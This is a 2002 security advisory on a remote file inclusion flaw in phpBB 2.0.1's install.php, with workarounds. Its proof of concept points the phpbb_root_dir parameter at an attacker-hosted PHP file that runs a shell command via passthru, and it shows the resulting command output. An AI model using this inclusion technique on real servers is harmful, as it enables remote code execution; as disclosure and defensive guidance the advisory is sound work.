JCC Security Advisory
June 16, 2002
malicious PHP source injection in phpBB
Description
phpBB is one of popular PHP bulletin board systems.
When allow_url_fopen = On and register_globals = On in php.ini, phpBB has
vulnerability because install.php contains dangerous codes.
So an attacker can include any files into server's PHP codes.
Impact
It's tested on phpBB 2.0.1. but I think all of phpBB 2 is affected.
Workaround
allow_url_fopen = off and register_globals = off.
and if complete install remove or rename install.php.
Or in install.php
-------install.php------------
define('IN_PHPBB', true);
$phpbb_root_path='./';
----------------------------
Put it
-------snip-----------------
$phpbb_root_dir='./';
----------------------------
Good idea to code that <<PHP_CODE
ini_set("register_globals", "Off");
ini_set ("allow_url_fopen", "Off");
PHP_CODE
Tested systems
phpBB 2.0.1 Debian GNU/Linux SID(x86)
Background
We checked the vulnerability with "http://URL/install.php?phpbb_root_dir=WANTED_TO_INCLUDE"; and
made a sample code, functions_selects.php,
--------------------includes/functions_selects.php--------------
<? passthru("uname -a"); ?>
-----------------------------------------
and type the following URL to invoke this sample code.
TEST URL : http://URL/install.php?phpbb_root_dir=http://MYBOX/";
-------out put----------------------------
Linux cpu 2.4.18-686 #1 Sun Apr 14 11:32:47 EST 2002 i686 unknown
Warning: Cannot add header information - headers already sent by (output started at http://210.117.152.118:6969/includes/functions_selects.php:1) in /home/morris/public_html/tmp/phpBB2/includes/sessions.php on line 182
Warning: Cannot add header information - headers already sent by (output started at http://210.117.152.118:6969/includes/functions_selects.php:1) in /home/morris/public_html/tmp/phpBB2/includes/sessions.php on line 183
Warning: Cannot add header information - headers already sent by (output started at http://210.117.152.118:6969/includes/functions_selects.php:1) in /home/morris/public_html/tmp/phpBB2/install.php on line 346
-----------------------------------------
thx for BlackKnight at r0ar
---
http://jcc.hackerslab.org(at morris Chang)
e-mail : morris@xsdeny.net
